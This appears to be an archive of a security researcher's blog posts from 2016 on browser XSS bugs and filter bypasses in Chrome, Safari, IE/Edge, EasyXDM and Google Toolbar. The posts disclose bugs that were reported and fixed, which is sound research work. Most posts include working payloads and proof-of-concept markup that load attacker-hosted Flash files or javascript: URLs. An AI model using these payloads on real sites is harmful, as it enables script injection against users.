Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:


The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)

Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.

Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/",window.open("/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

function go_top(){
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:

function go(){
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and xhr.open("GET",[URL]) used the correct URL. )

Developing XSS attacks

According to html5sec.org #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
function go(){
<button onclick=go()>go</button>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:



I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.

To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:


This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        catch (error) {
            return false;
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
        return true;
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<div>JavaScript is disabled on your browser.</div>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
In the <script>, it checks whether the given string via location.search is safe.
For example, the following unsafe URL is blocked:


Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:

You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:


Also I put the replaced page for you who already applied the patch. You can confirm same behavior:


A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.

After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)


Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on: https://bugs.chromium.org/p/chromium/issues/detail?id=612672

The vector is this:
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:

<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:
<div><base href=//evil/ </div>
But the following case is not blocked:
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:


Thus, I used Flash.

That's all. Thanks for reading my post :)

Sunday, April 10, 2016

Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSS

In this post, I would like to explain an XSS issue of EasyXDM 2.4.19.
I reported it and it was fixed by the developer.

If you are users, you should update it to EasyXDM 2.4.20.

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub

This bug is different from the following @kkotowicz's bugs.


Technical Details

To reproduce this bug, we need a little unusual trick. This bug works on only MSIE. Also, the document mode should be old (IE7 or 5). This is because XSS exists in the part where only buggy browser can pass through. And only old document mode can meet this condition.

Let's look at the code. XSS occurs in the following createElement() part:

        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");

The HAS_NAME_PROPERTY_BUG variable of the if statement condition becomes true on an only buggy browser. It is assigned in the following function:

function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    // #ifdef debug
    // #endif
This code creates a form element and a input element with a name attribute and tries to access to a input element via the name. It seems that IE7 mode cannot access to a element created dynamically with JavaScript via the name. And this code is for testing it.

I created a page for testing this part. You can confirm that the HAS_NAME_PROPERTY_BUG variable becomes true from MSIE.


So, let's confirm this XSS using the vulnerable EasyXDM.

Go to the following URL and change IE7 mode via F12 Developer Tools( F12 -> Emulation tab ). You should see an alert dialog.


OK, we knew that it actually works. But it works on only IE7 mode so far. This means that an opportunity of attack is very limited.

So, we use the trick called "document mode inheritance" which I took up in my slides recently.

Let's use this!

<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
You still cannot see an alert dialog. The parent window is running in IE5 mode by the meta tag. But the iframe is running in IE8 mode. This is because the iframe page has <!DOCTYPE html>. If it exists, IE11 can bring down the document mode until IE8 mode. To XSS, we somehow have to bring down to IE7 mode.

No worries! Recently I found that IE has the strong inheritance ability at the specific place. You can test this from:


Finally, you can see an alert dialog. A difference between the former and this page is that the page is a Content-Type: message/rfc822 format, not text/html. As I have shown in the following my slides, IE/Edge still can open a message/rfc822 document into the browser.

It seems that a message/rfc822 document is rendered in IE5 mode by default. And it seems its docmode inheritance ability is stronger more than a text/html page. Even if the page has <!DCOTYPE html>, we can bring down the document mode until IE7 mode. Due to this, we can reach the vulnerable code. w00t! :)

Using this technique, it can extend the impact. The problem affecting only IE7 mode becomes the problem affecting all IE11 users without being changed to an old document mode by users. It's very useful technique, isn't it? :)

I wrote about XSS in EasyXDM 2.4.19.
That's all. Thank you for reading my post!

Friday, January 29, 2016

XSS using Google Toolbar's command

In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.

For example, you can find the command from: http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
function fixMenu() {
// -->
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at command() function.
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, fixmenu=1 is associated with the reset settings.

document.googleToken is used for CSRF token. document.googleToken is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.

OK, that's about it.

Examine Toolbar's command

First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed navigateto command. As its name suggests, navigateto command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.
(Note: It seems this command was removed on latest Google Toolbar )
Also I tested javascript: URL.

Then I got an alert dialog! But It's too early to rejoice because we can't know document.googleToken from external page. In other words, if an attacker can get document.googleToken, it becomes XSS hole directly.

XSS part 1

I went around to resources of toolbar.google.com domain and I found the following page:

http://toolbar.google.com/dc/dcuninstall.html (WebArchive)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
// -->
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
The page has the button which can execute command. If button is clicked, it calls command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html"); function via OnYes() function.

Let's put command details aside, take a look at the path variable. The path variable is set by the following line:
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
It cuts location.href to use as command string. I believe that the coder expects following bold string:


But this code is not good. If the URL has / in the query or hash, it will cut unexpected URL string.


So, what will happen if we put the following string?


This URL is assigned into the path variable and it is used for the part of the command string, like this:


There are two navigateto in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to javascript:alert(1)//dcuninstalled.html!!

In this way, I have achieved XSS without knowing document.googleToken.

XSS part 2

After that, I found another interesting page:

<script language=JavaScript>
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
// -->
<body onload="Load()">
Let's take a look at this code. 
First, Load() function is called:
<body onload="Load()"> 
Load() function sets document.URL string to url variable:
var url = window.document.URL.toString();
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find custom_button_uri parameter. If it can find the parameter, it assigns the parameter value to the document.custom_button_uid variable.
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);

The document.custom_button_uid variable is passed to command() function:
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
This means that user input is passed into command via the custom_button_uri query parameter.
Let's take a look at the assignment part again:
document.custom_button_uid = unescape(param_pieces[1]);

Fortunately, the custom_button_uri value passes through unescape() method! This means that we can put urlencoded & and =, like this:


Finally, the command string is:




I reported the bugs via Google VRP and I received the reward of $3133.7 × 2.
It is not easy to find and understand non-documented commands, but it was a fun time.

And finally, I would like to introduce the holiday gift that I received from Google last year.
(You can find past gifts from: ChromebookNexus 10Nexus 5Moto 360  )
It is the USB Armory, Bug Bountopoly and post card!

Stephen of Google Security Team gave me the Japanese message and bug hunter's llustration. It's so lovely!
I will continue the bug reports again this year. Thank you so much!